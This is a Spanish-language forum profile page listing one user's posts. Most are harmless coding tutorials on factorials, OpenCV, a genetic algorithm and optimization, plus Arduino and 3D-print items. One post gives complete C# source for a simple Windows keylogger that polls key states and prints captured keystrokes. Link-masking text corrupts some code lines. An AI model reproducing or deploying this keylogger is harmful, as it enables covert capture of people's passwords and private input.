Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - Andr0z

Páginas: [1]
1
C# - VB.NET / Código simplificado para el factorial de un Número
« en: Junio 05, 2020, 11:56:14 pm »
Código simplificado para calcular factorial de un numero

Código: C#
  1. using System;
  2. namespace Factorial
  3. {
  4.     class Program
  5.     {
  6.         static void Main(string[] args)
  7.         {
  8.             Console.WriteLine("Ingresa tu numero");
  9.             int num=int.Parse(Console.ReadLine());
  10.             Console.WriteLine("-----------------------------------------------------------------------------------------------------------");
  11.             Console.WriteLine(Factorial(num));
  12.             Console.ReadKey();
  13.            
  14.             double Factorial(double num){
  15.                 while (num>1){
  16.                     return num*=Factorial(--num);
  17.                 }return num;
  18.             }
  19.            
  20.         }
  21.     }
  22. }
  23.  

2
C# - VB.NET / Keylogger C# Simple
« en: Mayo 30, 2020, 05:47:22 pm »
Keylogger en C#


Código: C#
  1. using System;
  2.  
  3. //Uso de Threads
  4. using System.Threading;
  5.  
  6. //Uso de la libreria para importacion de DLL
  7. using System.Runtime.InteropServices;
  8.  
  9.  
  10. namespace Keylogger
  11. {
  12.     class Program
  13.     {
  14.         //Se importa user32.dll para poder usar el metodo externo GetAsyncKeyState
  15.         [DllImport("user32.dll")]
  16.         public static extern short GetAsyncKeyState(int key);
  17.  
  18.         //Contador de espacios para dar un salto de línea despues de "n" caracteres tecleados
  19.         int contadorEspacio = 0;
  20.  
  21.         //String de almacenaje
  22.         public string caracteresTecleados = "";
  23.  
  24.  
  25.         //Este metodo detecta si una tecla dentro del rango [8,128] del codigo ASCII ha sido presionada
  26.         public void esperarTecla()
  27.         {
  28.             int tecla=0;
  29.             while(true)
  30.             {
  31.                 for(tecla=8;tecla<128;tecla++)
  32.                 {
  33.                     if (GetAsyncKeyState(tecla)==-32767)
  34.                     {
  35.                         this.mostrarTecla(tecla);
  36.                     }
  37.                 }
  38.             }
  39.            
  40.         }
  41.  
  42.  
  43.         //Recupera la tecla virual presionada y la muestra en consola
  44.         public void mostrarTecla(int keyCode)
  45.         {
  46.             switch(keyCode)
  47.             {
  48.                 case 8:
  49.                     if(!string.IsNullOrEmpty(this.caracteresTecleados))
  50.                     {
  51.                         this.caracteresTecleados = this.caracteresTecleados.Substring(0, this.caracteresTecleados.Length - 1);
  52.                     }
  53.                     break;
  54.                 case 9:
  55.                     this.caracteresTecleados = "    ";
  56.                     break;
  57.                 case 13:
  58.                     this.caracteresTecleados += " [ENTER] ";
  59.                     break;
  60.                 case 16:
  61.                     this.caracteresTecleados += " [SHIFT] ";
  62.                     break;
  63.                 case 20:
  64.                     this.caracteresTecleados += " [B_MAYUS] ";
  65.                     break;
  66.                 case 37:
  67.                     this.caracteresTecleados += " [<] ";
  68.                     break;
  69.                 case 38:
  70.                     this.caracteresTecleados += " [^] ";
  71.                     break;
  72.                 case 39:
  73.                     this.caracteresTecleados += " [>] ";
  74.                     break;
  75.                 case 40:
  76.                     this.caracteresTecleados += " [v] ";
  77.                     break;
  78.                 default:
  79.                     this.caracteresTecleados += (char)keyCode;
  80.                     break;
  81.             }
  82.             contadorEspacio++;
  83.             if(this.caracteresTecleados.Length >=1)
  84.             {
  85.                 if (contadorEspacio== 120)
  86.                 {
  87.                     Console.WriteLine();
  88.                     contadorEspacio = 0;
  89.                 }
  90.                 Console.Write(this.caracteresTecleados);
  91.                 this.caracteresTecleados = "";
  92.             }
  93.         }
  94.  
  95.         //Uso de threads para la ejecución del método "esperarTecla"
  96.         public void threadEjecucion()
  97.         {
  98.             You are not allowed to view links. Register or Login Thread(You are not allowed to view links. Register or Login ThreadStart(esperarTecla)).Start();
  99.         }
  100.  
  101.         public static void Main()
  102.         {
  103.             Program logging = You are not allowed to view links. Register or Login Program();
  104.             logging.threadEjecucion();
  105.         }
  106.     }
  107. }
  108.  

3
Impresiones 3D / Soporte para audífonos
« en: Mayo 25, 2020, 08:11:27 pm »
SOPORTE PARA AUDÍFONOS 3D.

Soporte para audífonos ideal para impresión 3d.
Nota: La apertuta para colocar el soporte es de 1.7cm






Link de descarga (.stl) a Mega:

You are not allowed to view links. Register or Login



4
Arduino - Raspberry PI / Arduino como PLC
« en: Mayo 21, 2020, 04:19:27 pm »
En este aporte les mostrare como programar un Arduino como si se tratara de un PLC (programación en escalera) usando un compilador demasiado bueno para ser abierto, se trata de LD micro.

Empezaremos viendo como se enciende un diodo LED mediante un "Push Button",(los recursos para el tutorial se encuentran al inferior del aporte). Primero abrimos LDmicro:

Img1. LD micro

Nota:El borde Izquierdo significa nuestra fuente, mientras el borde derecho nuestra tierra.

Después vamos a "Instructions" y dentro de esa pestaña seleccionamos "Insert Contacts"(short cut 'C'). Nota: El contacto se insertara en la posición de la línea en la que estemos, finalmente nuestro contacto insertado se vería como sigue:

Img2. Contactos LDmicro

Ahora, el contacto insertado funcionara como nuestro botón pero ahora necesitamos una salida para activar el LED, para hacer esto vamos a "Instructions" y ya dentro, seleccionamos "insert Coil"(short cut 'L'):

Img3. Salida LDmicro

Ahora queda configurar como entradas y salidas, para esto, damos doble "click" a cada elemento y configuramos como se muestra a continuación:

   
Img3,4. configuración de contacto y salida

Por default el "Coil" lo entiende ldmicro como salida, por tal motivo no permite configurarlo como pin de entrada.

Una vez configurados los elementos, necesitamos preparar el programa para compilarlo, para esto vamos a "Settings"-->"Microcontrollers" y seleccionamos el Atmel AVR Atmega 324-40PDIP (Arduino UNO), ya hemos seleccionado nuestro microcontrolador, ahora necesitamos configurar nuestros elementos con las entradas físicas de nuestro Arduino, que en este caso es el UNO. la configuración física se ve al inferior del programa:

Img6. Configuración física

En base a la imagen anterior podemos ver en la parte resaltado en blanco del programa,  información referente a la configuración física de nuestros elementos, los dos de tipo digital, uno de entrada y otro de salida, a nosotros lo que nos interesa es configurar el pin con el cual se va a configurar, para saber con cual pin configurar cada elemento tomaremos de referencia la siguiente imagen:

Img7. Pinout Atmega 324-40


Si queremos el pin 12 del Arduino como entrada y el pin 13 como salida tendríamos que configurar el elemento del "push Button " con el PB4 del pinout y el LED con el PB5, para hacerlo le damos doble "click" a cada línea del elemento y asignamos un pin físico, finalmente se tendría que ver como:

Img8. Asignación de pines
 
Ya terminamos de programar correctamente nuestro Arduino como PLC, si se desea antes de compilar se puede simular en LDmicro en "Simulate"-->"Simulate Mode" y luego lo corremos en tiempo real "Start Rel-Time Simulation". para cargar el programa, le damos en compile para generar el archivo .hex que se cargara al Arduino. para cargar el archivo .hex, necesitaremos XLoader:

Img9. XLoader

Una vez abierto XLoader, abrimos el archivo .hex compilado, seleccionamos el tipo de Arduino así como el puerto en el que esta conectado el arduino y finalmente le damos en "Upload", y esperamos a que cargue. Y listo hemos programado el arduino como PLC.

La conexión se muestra a continuación:

Img10. Conexión en proteus

Enlace de Descarga:
You are not allowed to view links. Register or Login

Recursos Adicionales:
You are not allowed to view links. Register or Login

 






5
Python / Cliente-Servidor entre Python-Unity(C#)
« en: Mayo 08, 2020, 05:12:43 pm »
Conexión cliente servidor entre Python usando OpenCV y unity 3d

El proyecto consiste en enviar datos cliente-servidor entre python 3 y Unity 2019, los datos enviados desde python se obtendrán a partir de una aplicación de color tracker (detector y posicionamiento de color desde la cámara) creada a partir de  la librería de visión computacional OpenCV desde python, estos datos serán tomados por Unity para después asignar los valores obtenidos a un objeto virtual el cual se movera según los valores leídos.




Para revisar el proyecto link de descarga:


You are not allowed to view links. Register or Login


Nota: para correr el proyecto, vamos a la carpeta descargada y ejecutamos Servidor.py, después se va a la carpeta New Unity Project--->Assets y en esa carpeta click en Python2Unity.unity (se debe contar con unity instalado en el sistema, el proyecto se ejecutó en un sistema operativo Windows 10)


6
Impresiones 3D / Case para impresión 3D Arduino UNO
« en: Abril 20, 2020, 11:09:33 pm »
Case para Arduino Uno (impresión 3D)







Descarga los archivos stl

You are not allowed to view links. Register or Login


7
Python / Uso de histogramas con OpenCV en Python 3.6.8
« en: Abril 11, 2020, 10:57:15 pm »
OpenCV es una de las bibliotecas más famosas de visión artificial que se ha utilizado en gran cantidad de aplicaciones, por mencionar algunas de ellas:

-Reconocimiento facial
-Robótica móvil
-Reconocimiento de objetos
-Segmentación
-Interacción persona-computadora

Entre otras muchas mas aplicaciones.

En está ocasión el tema se tratará acerca del uso de histogramas para la visualización de la descomposición de color de una imagen de 8 bits a sus canales BGR o RGB.

Primero importaremos las respectivas librerías que se utilizaran para la aplicación

Código: Python
  1. import cv2 #importamos OpenCV
  2. import numpy as np
  3. from matplotlib import pyplot as plt
  4.  
 

Una vez importadas las librerías correspondientes procedemos a usar la función imread() para cargar una imagen, el código sería:

Código: Python
  1. imagen=cv2.imread(r"interior.png")
  2.  
 

Luego se separa con la función split  la matriz de vectores de nuestro elemento:

Código: Python
  1. b,g,r=cv2.split(imagen)
  2.  

Y se visualizan los canales B,G,R y la imagen original con la función imshow:

Código: Python
  1. cv2.imshow("imagen", imagen)
  2. cv2.imshow("b", b)
  3. cv2.imshow("g", g)
  4. cv2.imshow("r", r)
  5.  

Nota:Las imágenes se mostrarán en escala de grises debido a que los vectores (B,G,R) se separan en escalares (por pixel), por tanto el sistema los considera como negro (valor cero) o blanco(valor 255), lo que quiere decir que si por ejemplo en la imagen "b" se encuentra con una tonalidad mas blanca en algún conjunto de pixeles, dará a entender que el canal RGB esta compuesto por ese color en mayor parte, es decir el color del pixel original  se vería como (230,G,R)

Finalmente, para graficar los histogramas se llama la función hist de pyplot:

Código: Python
  1. plt.hist(b.ravel(),256,[0,256])
  2. plt.hist(g.ravel(),256,[0,256])
  3. plt.hist(r.ravel(),256,[0,256])
  4. plt.show()
  5.  

Los histogramas nos mostrarán el numero de pixeles que hay correspondientes a los valores de  0 a 255 por cada canal. El código completo sería:

Código: Python
  1. import cv2 #importamos OpenCV
  2. import numpy as np
  3. from matplotlib import pyplot as plt
  4. #lectura de la imagen
  5. imagen=cv2.imread(r"interior.png")
  6.  
  7. # generacion de los canales blue, green y red (bgr) mediante la descoposicion de la imagen original con la funcion split
  8. b,g,r=cv2.split(imagen)
  9. #print(image)
  10. #print(image[0][0])
  11. # mostrar las imagenes repsectivas a la imagen y los canales
  12. cv2.imshow("imagen", imagen)
  13. cv2.imshow("b", b)
  14. cv2.imshow("g", g)
  15. cv2.imshow("r", r)
  16.  
  17. # graficar histogramas
  18. plt.hist(b.ravel(),256,[0,256])
  19. plt.hist(g.ravel(),256,[0,256])
  20. plt.hist(r.ravel(),256,[0,256])
  21. plt.show()
  22.  
  23. # esperar a  presionar alguna tecla para continuar
  24. cv2.waitKey(0)
  25.  
  26. # destruye todas las ventanas en proceso
  27. cv2.destroyAllWindows()
  28.  

Si corremos nuestro código se vería como sigue:





8
C# - VB.NET / Algoritmo Genético C#
« en: Abril 05, 2020, 02:06:23 pm »
Ejemplo básico de un algoritmo genético en C#

Nota: puedes experimentar variando la cantidad de individuos y tasa de mutación y ver como esta afecta a la convergencia y tiempo de solución

Código: C#
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6.  
  7. namespace Al_genetico
  8. {
  9.     class Program
  10.     {
  11.         /*Idea original DanielShiffman, The nature of code*/
  12.         public static string objetivo;
  13.      
  14.         static void Main(string[] args)
  15.         {
  16.             objetivo = "Hola Mundo <img src="https://underc0de.org/foro/Smileys/default/cheesy.gif" alt="&#58;D" title="Cheesy" class="smiley" />";
  17.             int numero_ind = 100; //Se puede experimentar con la variacion de numero de individuos y tasa de mutacion
  18.             float tasa_mutacion = 0.02f;
  19.             Poblacion poblacion = You are not allowed to view links. Register or Login Poblacion(tasa_mutacion,numero_ind,objetivo);
  20.             while (true)
  21.             {
  22.  
  23.                 Console.WriteLine(" Generacion: " + poblacion.generacion + " | Mejor Individuo= " + poblacion.Mejor_individuo() + " | Promedio de aptitud por generación= " + poblacion.Promedio());
  24.                 poblacion.Seleccion();
  25.                 poblacion.Generacion();
  26.                 if (poblacion.Mejor_individuo() == objetivo) break;
  27.                 poblacion.Calcular_aptitud();
  28.  
  29.             }
  30.             Console.ReadKey();
  31.  
  32.         }
  33.  
  34.         //Generador de numeros aleatorios enteros entre n1 y n2-1
  35.         public static int random_entero(int n1,int n2)
  36.         {
  37.             Guid guid = Guid.NewGuid();
  38.             string justNumbers = You are not allowed to view links. Register or Login String(guid.ToString().Where(Char.IsDigit).ToArray());
  39.             int seed = int.Parse(justNumbers.Substring(0, 4));
  40.             Random random= You are not allowed to view links. Register or Login Random(seed);
  41.             return random.Next(n1, n2);  
  42.         }
  43.  
  44.         //Generador de numeros aleatorios decimales entre  0 y 1
  45.         public static double random_decimal()
  46.         {
  47.             Guid guid = Guid.NewGuid();
  48.             string justNumbers = You are not allowed to view links. Register or Login String(guid.ToString().Where(Char.IsDigit).ToArray());
  49.             int seed = int.Parse(justNumbers.Substring(0, 4));
  50.             Random random = You are not allowed to view links. Register or Login Random(seed);
  51.             return random.NextDouble();
  52.         }
  53.     }
  54. }
  55.  


Clase ADN.cs

Código: C#
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6.  
  7. namespace Al_genetico
  8. {
  9.     class ADN
  10.     {
  11.         public char[] genes;
  12.         public float aptitud;
  13.  
  14.         //Constructor clase ADN
  15.         public ADN(int num)
  16.         {
  17.             genes = You are not allowed to view links. Register or Login char[num];
  18.             for (int i = 0; i < genes.Length; i++) genes[i] = Convert.ToChar(Program.random_entero(32, 129));
  19.         }
  20.  
  21.         //Convertimos nuestra cadena de caracteres a string
  22.         public string ConseguirADN()
  23.         {
  24.             return You are not allowed to view links. Register or Login string(genes);
  25.         }
  26.  
  27.         //Calculamos la aptitud comparando elemento a elemento el string del ADN con el objetivo
  28.         public float Aptitud(string objetivo)
  29.         {
  30.             int puntos = 0;
  31.             for (int i = 0; i < genes.Length; i++) if (genes[i] == objetivo[i]) puntos++;
  32.             aptitud = (float)puntos / (float)objetivo.Length;
  33.             return aptitud;
  34.         }
  35.  
  36.         //Se mezcla la la informacion entre dos ADN  para crear un hijo
  37.         public ADN Reproduccion(ADN padre)
  38.         {
  39.             int punto_cruce = Program.random_entero(0, genes.Length);
  40.             ADN hijo = You are not allowed to view links. Register or Login ADN(genes.Length);
  41.             for (int i=0;i<genes.Length;i++)
  42.             {
  43.                 if (i < punto_cruce) hijo.genes[i] = genes[i];
  44.                 else hijo.genes[i] = padre.genes[i];
  45.             }
  46.             return hijo;
  47.         }
  48.  
  49.         //Se muta(modifica) el elemento del ADN si el numero obtenido aleatoriamente es menor que la tasa de mutacion
  50.         public void Mutacion(float tasa_mutacion)
  51.         {
  52.             for (int i = 0;i< genes.Length; i++) if (Program.random_decimal() < tasa_mutacion) genes[i] = Convert.ToChar(Program.random_entero(32,129));
  53.         }
  54.  
  55.     }
  56. }
  57.  

Clase Poblacion.cs

Código: C#
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6.  
  7. namespace Al_genetico
  8. {
  9.     class Poblacion
  10.     {
  11.         public int generacion=1;
  12.         public ADN[] poblacion;
  13.         List<ADN> contenedor;
  14.         float tasa_mutacion;
  15.         string objetivo;
  16.  
  17.         //Constructor de la población
  18.         public Poblacion(float tm, int num,string objetivo)
  19.         {
  20.             this.objetivo = objetivo;
  21.             tasa_mutacion = tm;
  22.             poblacion = You are not allowed to view links. Register or Login ADN[num];
  23.             for (int i = 0; i < poblacion.Length; i++)  poblacion[i] = You are not allowed to view links. Register or Login ADN(objetivo.Length);
  24.             contenedor = You are not allowed to view links. Register or Login List<ADN>();
  25.             Calcular_aptitud();
  26.         }
  27.  
  28.         //Se calcula la aptitud de cada uno de los individuos de la poblacion. La mayor aptitud es de 1
  29.         public void Calcular_aptitud()
  30.         {
  31.             for (int i = 0; i < poblacion.Length; i++) poblacion[i].Aptitud(objetivo);
  32.         }
  33.  
  34.         //Se le asigna al contenedor cuantas veces sea un individuo en proporcion a su aptitud. Mayor aptitud, mayor veces estara ese individuo en nuestro contenedor
  35.         public void Seleccion()
  36.         {
  37.             float val_Max = 0;
  38.             contenedor.Clear();
  39.             for (int i = 0; i < poblacion.Length; i++) if (poblacion[i].aptitud > val_Max)  val_Max = poblacion[i].aptitud;
  40.             for (int i = 0; i < poblacion.Length; i++)
  41.             {
  42.                 float map_aptitud = Map(poblacion[i].aptitud, 0, val_Max, 0, 1);
  43.                 int numero = (int)(map_aptitud)*100;
  44.                 for (int j = 0; j < numero; j++) contenedor.Add(poblacion[i]);
  45.             }      
  46.         }
  47.  
  48.         /*Se selecciona al azar individuos de nuestro contenedor para realizar su cruza, obtener el hijo
  49.         y remplazar la antigua generacion con los nuevos hijos*/
  50.  
  51.         public void Generacion()
  52.         {
  53.             for(int i=0;i<poblacion.Length;i++)
  54.             {
  55.                 int A = Program.random_entero(0, contenedor.Count - 1);
  56.                 int B = Program.random_entero(0, contenedor.Count - 1);
  57.                 ADN madre = contenedor[A];
  58.                 ADN padre = contenedor[B];
  59.                 ADN hijo = madre.Reproduccion(padre);
  60.                 hijo.Mutacion(tasa_mutacion);
  61.                 poblacion[i] = hijo;
  62.             }
  63.             generacion++;
  64.         }
  65.  
  66.         //Se selecciona el mejor individuo de la generacion para retornar su string
  67.         public string Mejor_individuo()
  68.         {
  69.             float val_Max = 0;
  70.             int indice = 0;
  71.             for (int i = 0; i < poblacion.Length; i++)
  72.             {
  73.                 if (poblacion[i].aptitud > val_Max)
  74.                 {
  75.                     val_Max = poblacion[i].aptitud;
  76.                     indice = i;
  77.                 }
  78.             }
  79.             return You are not allowed to view links. Register or Login string(poblacion[indice].genes);
  80.         }
  81.  
  82.         // Se calcula el promedio de aptitud por generacion
  83.         public float Promedio()
  84.         {
  85.             float promedio = 0;
  86.             for (int i = 0; i < poblacion.Length; i++)  promedio += poblacion[i].aptitud;
  87.             return (float)promedio / (poblacion.Length);
  88.         }
  89.  
  90.         //Método de mapeo
  91.         float Map(float val, float x1, float x2, float y1, float y2)
  92.         {
  93.             return ((val - x1) / (x2 - x1)) * (y2 - y1) + y1;
  94.         }
  95.     }
  96. }
  97.  
  98.  



9
Python / Búsqueda aleatoria de óptimos con python
« en: Abril 01, 2020, 03:21:57 pm »
La búsqueda aleatoria para óptimos es un método directo un tanto burdo. Dicho método evalúa tantas muestras sea posible de manera aleatoria, si la cantidad de muestras es suficiente, eventualmente el óptimo se localizará.

Veamos, para que éste método funcione se tiene que definir la región a evaluar R:[xl,xu]X[yl,yu](donde los subíndices l y u indican los limites inferior y superior respectivamente) , una vez definida dicha región se dispone a evaluar un generador de números aleatorios definido por:

p=pl+(pu-pl)r   Ec. 1


Donde r es un aleatorio entre 0 y 1.

Aplicando la ecuación 1 a nuestra región para y y x quedarían de la siguiente manera:

x=xl+(xu-xl)r   Ec. 2

y=yl+(yu-yl)r   Ec. 3


Teniendo nuestros generadores de números aleatorios tanto para y y x, veamos un ejemplo práctico de su aplicación:

Tenemos que encontrar el mínimo de nuestra función z=cosx*cosy*x*exp(x-(y2/exp(x2))) en nuestra región cuadrada dada por R(x,y):[-1.5,1.5]X[-1.5,1.5]. La superficie de nuestra región para z será:

     VISTA X,Z


     VISTA Y,Z

Ahora definiendo nuestros generadores y y x, con la región dada R, mediante las ecuaciones 2 y 3 nos quedaría:

x=-1.5+3r   Ec. 4

y=-1.5+3r   Ec. 5


Escribiendo el código en python 3.6.8 para iterar nuestras funciones y evaluar Z, quedaría de la siguiente forma:

Código: Python
  1. #definimos la función
  2. def f(x,y):
  3.     z=np.cos(x)*np.cos(y)*x*np.exp(x-np.power(y,2)/np.exp(np.power(x,2)))
  4.     return(z)
  5. #Xmax=0
  6. #Xmax=0
  7.  
  8. #inicializamos nuestras variables
  9. Xmin=0
  10. Ymin=0
  11. actf=0.1
  12. iteraciones=5000
  13.  
  14. #Aplicamos el metodo iterativo con nuestras funciones generador
  15. for n in range(iteraciones):
  16.     x=-1.5+3*np.random.rand() #Ec.4
  17.     y=-1.5+3*np.random.rand() #Ec.5
  18.     if f(x,y)<actf:  #f(x,y)>actf sentencia para maximos
  19.         actf=f(x,y)
  20.         Xmin=x
  21.         Ymin=y
  22.         print(str(actf))
  23.        
  24. print("El valor mínimo encontrado para "+str(iteraciones)+" iteraciones es f(x,y) es: "+str(actf))
  25. print("para los valores 'x': " +str(Xmin)+ " y el valor 'y': " +str(Ymin))
  26.  
  27. # superficie -------------------------------------------------------------    
  28. x=np.linspace(-1.5,1.5,35)
  29. y=np.linspace(-1.5,1.5,35)
  30. xmesh,ymesh=np.meshgrid(x,y)
  31. zmesh=np.cos(xmesh)*np.cos(ymesh)*xmesh*np.exp(xmesh-np.power(ymesh,2)/np.exp(np.power(xmesh,2)))
  32. fig=plt.figure()
  33. ax=fig.add_subplot(1,1,1,projection='3d')
  34. ax.plot_surface(xmesh,ymesh,zmesh,cstride=1,rstride=1)
  35. plt.show()
  36.  

Ejecutando nuestro código para 5000 iteraciones obtenemos:


Como vemos, el código nos genera una aproximación aceptable al mínimo de la región, comparado con gráfica de la vista XZ y YZ, si quisieramos encontrar el pico máximo de la región solo habría que cambiar la sentencia f(x,y)<actf a f(x,y)>actf en el if del  código en python.



10
Impresiones 3D / Llavero Hail Underc0de
« en: Marzo 30, 2020, 06:13:11 pm »

Llavero Underc0de


Descarga el archivo

You are not allowed to view links. Register or Login

11
Python / Optimización de funciones con el método Newton
« en: Marzo 30, 2020, 02:13:39 pm »
El método de Newton-Raphson es un método abierto que permite encontrar la raiz x de una función de tal manera que f(x)=0. En su forma simbólica se resume como:

xi+1 =xi-f(xi)/f'(xi)    Ec. 1

Se utiliza un método similar para encontrar un valor óptimo de f(x) al definir una nueva función r(x) dada por r(x)=f'(x), así para decir que se ha encontrado un óptimo de nuestra función se tiene que tener r(x)=0, por lo tanto se puede emplear lo siguiente para encontrar una x que satisfaga r(x)=0, de manera simbólica nuestro modelo a iterar quedaría como:

xi+1 =xi-r(xi)/r'(xi)   Ec. 2


Ahora veamos como aplicariamos ésto a un ejercicio práctico:

Queremos encontrar el óptimo de nuestra función con un x inicial de 2.5:

f(x)=2senx-x2/10

La gráfica de dicha ecuación quedaría como:


Escribiendo el código en Phyton 3.6.8 para aplicar la ecuación 2:

Código: You are not allowed to view links. Register or Login
import math

#Funcion a optimizar f(x)=2*math.sin(x)-pow(x,2)/10 ----> (2sinX-X^2/10)

#funcion primer derivada
def f_p(x):
    yp=2*math.cos(x)-x/5
    return (yp)

# funcion segunda derivada
def f_pp(x):
    ypp=-2*math.sin(x)-1/5
    return (ypp)

#introduciomos el valor x de partida (Xo asi como el numero de iteraciones)
xi=float(input("Introduce X_o: "))
iteraciones=int(input("Introduce el numero de iteraciones:  "))

raiz=[]
raiz.insert(0,0)

# inicializamos el contador de iteraciones
i=0

# Definimos un error inicial
error=1

# Aplicamos la formula Newton  para optimos
while iteraciones>i:
  xi_1=xi-(f_p(xi)/f_pp(xi))
  raiz.append(xi_1)
  i=i+1
  xi=xi_1
  error=(raiz[i]-raiz[i-1])/raiz[i]
  print(xi)
print("Error final:  " +str(error))
print("El optimo global aproximado es: " +str(2*math.sin(xi)-pow(xi,2)/10))


Finalmente, si ejecutamos el código para 5 iteraciones y con una x inicial de 2.5  obtendremos:


Si comparamos éste resultado con la gráfica anterior se puede notar que efectivamente el algoritmo converge a un óptimo global para un x inicial de 2.5

Nota: Estos métodos son de suma importancia para comenzar a entender el método de descenso por  gradiente aplicado a las redes neuronales, el cual es similar pero en los gradientes se aplican constantes de aprendizaje que hacen que la convergencia (si es que existe) sea mas rápida o mas lenta según lo permita la función





12
Impresiones 3D / Stand Cellphone
« en: Marzo 27, 2020, 03:25:28 pm »
Diseño de stand cellphone adecuado para impresión 3D


Descarga el archivo
You are not allowed to view links. Register or Login

13
Impresiones 3D / Adorno Pulpo Underc0de 3d
« en: Marzo 21, 2020, 05:21:27 pm »
Adorno de escritorio para impresora 3d

En tiempos de cuarentena hay que seguir siendo productivos   :D. He estado haciendo desarrollo de diseños mecánicos que ayuden a las necesidades actuales debido a la nueva pandemia, y para despejarme un rato hice este decorador de escritorio para la comunidad, espero lo disfruten   ;D


Descarga el archivo
You are not allowed to view links. Register or Login

Páginas: [1]